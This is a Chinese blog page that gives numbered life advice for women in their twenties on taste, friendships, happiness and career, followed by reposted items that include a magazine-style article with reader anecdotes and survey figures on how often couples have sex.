13.千万不要进修主妇课程.女主人真正具备应该是掌管家庭的能力,而不是去做一个菲佣."手不沾水"就是专门形容这样的主妇的.

14.人生重要的不是怎样感受苦难,而是怎样赶快脱离苦难,并从中获得教训.

15.人们都认为好命的女人总是待在原地享乐.但是,不要看见他们空闲的双手,就认为他们在休息.实际上他们的脑袋却在飞速的思考.

16.要拥有高级的品味.即使是廉价的东西也要用高级的品味去挑选.

17.高级的品味不是指买名牌的虚荣心,而是指能够挑选出在自己身上能体现出价值的商品.

18.千万别因为环境差异,就懒得打扮自己,这样久而久之就会降低自己独特的品味.不是生活状况决定品味,而是品味

决定生活状况.

19.成为不讨人厌的利己主义者.不要忘了,博爱的人不论何时都最爱自己.

20.不要在微不足道的小事上发脾气,事后又开始后悔.聪明的女人,如果能够有善良的一面,那么碰到好人和好机遇的机会将会扩大为十倍.

21.随便讲话和随便对待自己是一样的道理,而随便对待自己的人,前途往往看不到光明.


*二十几岁应该开始提高交朋友的水准

1.周遭的人的水平,就能反应本人的水平.

2.结识比自己强的人.要懂得和什么样的人交往,就会变成什么样的人的道理.

3.从现在开始整理人际关系.二十几岁应该去结识那些人人都想认识的人.

4.和那些见面就感叹人生凄凉的人,应该减少交往的机会.客观的讲,那些生活条件优越的人固然很重要,但是更重要的

是那些以进步为人生态度的人,我们应该结识并喜欢这样的人.

5.远离对世界充满抱怨的人.积极的人拥有更多获得成就的潜力,并且向四周散发着她的能量.待在她身边,你就可以获得力量.

6.学会拜托别人.这意味着少走弯路,就能积极的解决问题.脸皮厚一点,就可以得到很多东西.

7.学着和蔼可亲.如果是上了年纪的女人待人和蔼,善于交际,别人会觉得她有点多事,如果是二十几岁的年轻女孩,人们会说她脾气好,又会撒娇.因此,年轻女孩的和蔼态度可以给她带来更多的无偿帮助.

8.成为有人脉的女人.二十几岁的你,可能还不知道人脉是多么巨大的财富.当一个人解决一个巨大的困难,或者抓到一

次的绝好机会,总是会提到贵人相助,身边有很多贵人,人们总是说她人缘好,或者有福气.其实人脉是靠自己创造出来的.
9.如果你只喜欢见到熟悉的,比自己条件差的朋友,那么你获得的人脉的可能性就非常的小.要学会有意识的结识比自己强的新朋友.首先让别人对你产生好感是很重要的.这样再努力传达这种心意.不要试图用诀窍来获取别人的心,而是你要付出真心.

*丢掉对幸福的误解

1.不要把表达幸福当作虚伪.对于想要的东西,我们要喜欢它,寻找它,追求它.从现在起,我们要以更宽容的心态去感受和表达幸福.

2.不要认为只有不幸的人才懂得人间辛酸.不要对幸福的人有偏见.与其花费精力去嫉妒那些条件比自己优越而过得幸福的人,不如专心追求自己的幸福.那些比我幸福的人不是我的竞争者,而是我应该学习的对象.

3.聪明的女人会找出自己不幸的原因,懂得摆脱不幸,让自己重新站起来.同事,他们也懂得追求幸福,就必须放弃难以割舍的东西.

4.选择不幸的人总是"满足",而选择幸福的人总是"感激".在自己的人生中若用到"满足"一词时,都应该改为"感激"才对.

二十几岁不是追梦的年龄,而是明确方向的年龄.

1.摆脱连续剧吧.能够顺利掌握自己人生的女人,多数是不爱看电视的,尤其是毫无价值的连续剧,这并不是巧合.聪明的

女人不是通过连续剧去认识一定模式的人生,而是在自己的人生中创造精彩的剧情.

2.丢掉理直气壮的想法.别人认可的成功才是真正的成功.成功要得到别人的认可,然后才能实现自己的价值.

3.区别"女人"和"女士"的标准不是自尊心,而是羞耻心.如果真的珍惜自己,就应该现放下自尊心,学会做出最有利于自

己的选择.想要学习东西,就要心甘情愿的接受别人不同的见解和客观的评价,也应该欣然帮同事門多递几次饮料;.

4.丢掉对事业的幻想.要选择的工作,至少应该具有指的你投入你大部分时间的价值,是你喜欢的,更应该是你愿意努力

的.要学会工作休息两不误.二十几岁,最应该练习的就是怎样才能享受人生,如果现在不学习这种方法,那么你的一生就会生活的繁重的工作中,喘不过气.

5.不要以为30岁就是结束人生了.二十几岁不是实现梦想的时期,而是为了三十岁以后的成功积累养分的时期.

6.目标造就人.聪明的女人总是喜欢制定新目标.有梦想的人,言行举止都与相同处境的人不一样.因此,不论处在怎样的位置,"过好生活"的态度都不要丝毫动摇.

引用

颖儿 的 经典爱情诗句(图文）

 

引用

性情人 的 每天要做的10个“3分钟法则”

引用

性爱性健康教育网 的 90后女生的放纵
性爱 性健康 性生活 90后女生的放纵

上一页 1 2 3 4 5 下一页

引用

唐伯虎点蚊香 的 中华人民共和国全套人民币欣赏

中华人民共和国全套人民币欣赏

 

 

引用

唐伯虎点蚊香 的 生活中最好的调味酒[7P]

 

 

                          

 

                         

 

                        

 

                       

 

                       

 

                      

 

                      

 

引用

唐伯虎点蚊香 的 床上运动 一周几次才正常？

                                                              

      虽然著名的性学博士金赛在调查无数人的性爱后总结：“人与人之间的性差别有如鸿沟。性爱最大的规律，就是它永远无规律可言。”明知道这样，我们在面对自认为异常的做爱次数时，还是忍不住想问，一周做几次才算正常？

 

                                               

冬天需要性冬眠

　　殷冰冰南京30岁

　　天气一冷，我和老公的床上运动就陷于停顿状态。晚上跳进被窝，裹着厚厚的大棉被，像极了两头冬眠的北极熊。

　　北极熊之一的我忍不住捅捅他：“唉，我们都半个多月没那个了。”他哆哆嗦嗦避开我的“爪子”：“你手咋这么冷呀，想谋害亲夫?”我只好作罢。瞪着天花板发呆。老公不好意思了：“你如果想，我就英勇献身一回好了。”

　　不过被窝才刚暖和，我还真舍不得把这点儿热气给搅走。气温一降，倒把我俩给冻得清心寡欲起来，情欲像是睡着了似的，怎么唤也唤不起。老公说：“其实把空调开了，房间就不冷了。”卧室的空调有点毛病。一调暖就轰隆隆直响，吵得人睡不着。我拿冰脚丫踢他：“行，那你去开空调，等我们完事后你再关了。”

　　他终究鼓不起勇气钻出被窝去挨冻，哪怕只有几分钟的时间。我就更别说了。两个身强力壮、活力无限的青年男女躺在一块儿一个月就做一次。这也太匪夷所思了吧，我们结婚还不到两年呢。我越想越郁闷。

　　老公在暖被窝里问我：“你知道爱斯基摩人为什么不多吗?”我正想着答案，他却迫不及待地公布了：“因为天太冷。温度太低会抑制性欲。冷天，性也需要冬眠。”真是这样吗?

                                     

　　夜夜笙歌也发愁

　　罗新丽厦门28岁

　　最近新闻报道，婚姻美满的夫妻较少患感冒。做爱原来也是在打流感预防针呢，而且还是天然无副作用。

　　老公对此十分自傲：“瞧，今年你一次感冒也没得。都是因为我给你打预防针打得勤。”我嘴上答应着，心里却嘀咕：打得也太勤了吧，我都快要过敏了。

　　他是公务员，工作比较闲，在办公室里常常是一杯茶一份报纸半天就过去了。厦门这城市一向生活节奏较慢，大家都悠悠闲闲地过日子。下班回到家，吃完饭后看看电视，读几页小说就该上床睡觉了。老公的精力无处使，做爱便成了必定的睡前活动。

　　一开始我们还做得风生水起，兴致勃勃。后来我报读了研究生，时间一下子挤了。每每我在书桌前翻阅资料作深思状，老公却频频催我：“快来睡觉。”抵挡不住引诱上了床，那爱便做得有些敷衍，脑子里晃荡的全是些教材里的文字和图片。

　　经常被老公色诱，我不胜其烦。偶尔从闺中好友那儿知道她每周有规律的两次性生活，不免怀疑，我和老公是不是太频繁了?听说人的一生做几次都是有定数的，我可不想一辈子的爱就在这几年内全做完。

　　相关链接

                                     

　　一周几次算正常

　　男人之间有一种舆论，似乎性生活次数越多，这个男人就越合格，越有阳刚之气;他的妻子也就越满意、越幸福。

　　其实大多数妻子更重视感情交流。性交次数究竟多少才算适当，这是一个较难回答的问题。性欲的强弱各人不同，因此性生活的次数不能机械地规定，而要根据双方具体情况适当调节。如果体力好的话，是可以多做的;劳累或重病初愈，应当不做或少做。

                                         

　　一般来说，20～30岁的夫妻，一星期3～5次;31～40岁的夫妻，一星期2～3次;41～50岁的夫妻，一星期1～2次;51～55岁的夫妻，两周1～2次。

　　本刊对25岁至35岁的女性读者随机调查，结果如下：

　　每周1~2次68.1%

　　每天几乎都在做14.8%

　　每月1~2次11.8%

　　从数据看，将近七成的人是每周1至2次，而每天都在做的比例竟排第二，看来，我们八成以上的读者都拥有不错的性密度。

　　从数据看，大部分读者对做爱都有强烈的自主欲望。想做就做，大概是一周做几次最标准的答案。

引用

唐伯虎点蚊香 的 绝色美女不看后悔,我的眼球都看爆了！！！(4)

 

 

                                           

 

                                             

 

                                         

 

                                         

 

                                         

 

                                         

 

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